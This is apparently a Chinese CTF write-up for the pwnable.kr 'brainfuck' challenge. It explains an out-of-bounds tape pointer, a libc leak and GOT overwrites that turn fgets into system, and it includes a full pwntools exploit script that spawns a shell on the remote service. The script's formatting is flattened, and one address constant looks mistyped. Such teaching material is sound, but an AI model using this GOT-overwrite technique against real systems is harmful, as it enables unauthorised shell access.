pwnable.kr brainfuck之write up
I made a simple brain-fuck language emulation program written in C. The [ ] commands are not implemented yet. However the rest functionality seems working fine. Find a bug and exploit it to get a shell. Download : http://pwnable.kr/bin/bf Download : http://pwnable.kr/bin/bf_libc.so Running at : nc pwnable.kr 9001
补充一下知识,什么是brainfuck呢?
Brainfuck是一种极小化的计算机语言,它是由Urban Müller在1993年创建的。由于fuck在英语中是脏话,这种语言有时被称为brainf*ck或brainf**k,甚至被简称为BF。
接下来我们来看程序,首先看main函数:
点进去看一下brainfuck函数:
大致可分析得到程序的思路是:
fget输入,根据输入的内容对应相应的字符并执行。
补充:深入理解计算机中的bss,text,堆,栈 http://www.cnblogs.com/yanghong-hnu/p/4705755.html
题的思路主要利用的是p指针,如图,也是主函数中的tape变量,这个指针位于bss段,而不是栈中
bss段上面是got.plt段,离bss比较近,所以思路肯定就是改got表了。
下面我们分析解题思路 :
首先让p指针指到got表,用getchar进行修改,并用system得到shell,而system在Libc中,并且是地址随机化的。
所以只能从用户输入入手:
-
将menset覆写为gets,从stdin中读入
"/bin/sh\0"
-
将fgets覆写为system,执行
system("/bin/sh\0")
获取shell
这步骤是第二次运行main函数的,所以最后的方法是将putchar改为main函数,然后再次进入main函数过程,利用将memset改为gets,将fgets改为system获取shell。
整体思路:
-
泄露putchar函数真实地址
-
根据题目给的libc计算其他函数真实地址
-
覆写GOT表中putchar函数为main函数地址
-
覆写GOT表中fgets函数为system函数地址
-
覆写GOT表中memset函数为gets函数地址
-
返回main函数,getshell
所以exp如下:别人的exp我做些分析
1 from pwn import * 2 context(os='linux', arch='i386', log_level='debug') 3 4 DEBUG = 0 5 if DEBUG: 6 p = process('./bf') 7 libc = ELF('/usr/lib32/libc.so.6') 8 else: 9 p = remote('pwnable.kr', 9001) 10 libc = ELF('./bf_libc.so') 11 12 def main(): 13 #pwnlib.gdb.attach(p) 14 p.recvuntil(']') 15 16 put_char_offset = 0x8048a0a0 - 0x8048a030 tape到got表的相对地址 17 payload = '.' 输出指针指向的位置 18 payload += '<' * put_char_offset 指针put_char_offset减1 19 payload += '.>' * 4 输出指针位置加4的位置 20 payload += '<,' * 4 # write put_char 输入内容到putchar的位置 21 payload += '<' * 4 指向memset的位置 22 payload += ',>' * 4 # write memset 输入内容到memset位置后返回到Putchar 23 payload += '<' * (0x2c - 0x10 + 4) 指针指向fget的位置 24 payload += ',>' * 4 # write fgets 向fget输入后指针位置+4 25 payload += '.' * (0x400 - len(payload) - 1) 26 p.send(payload) 27 p.recv() 28 if DEBUG: 29 leak = p.recv()[1:] 30 else: 31 p.recv() 32 leak = p.recv() 33 34 log.info('get:' + str(len(leak))) 35 log.info('leak:' + hex(u32(leak))) 36 37 putchar_pos = u32(leak) 38 libc_base = putchar_pos - libc.symbols['putchar'] 39 system_addr = libc_base + libc.symbols['system'] 40 gets_addr = libc_base + libc.symbols['gets'] 41 main_addr = 0x08048671 42 43 log.info("libc base at:" + hex(libc_base)) 44 45 packed_gadget_pos = p32(0x08048671) 46 47 # write put char 48 for x in (packed_gadget_pos[::-1]): 49 p.send(x) 50 51 # write memset 52 for x in p32(gets_addr): 53 p.send(x) 54 #write fgets 55 for x in p32(system_addr): 56 p.send(x) 57 58 p.recvuntil(']') 59 payload = '/bin/sh\x00' 60 p.send(payload) 61 62 p.interactive() 63 64 65 66 67 if __name__ == '__main__': 68 main()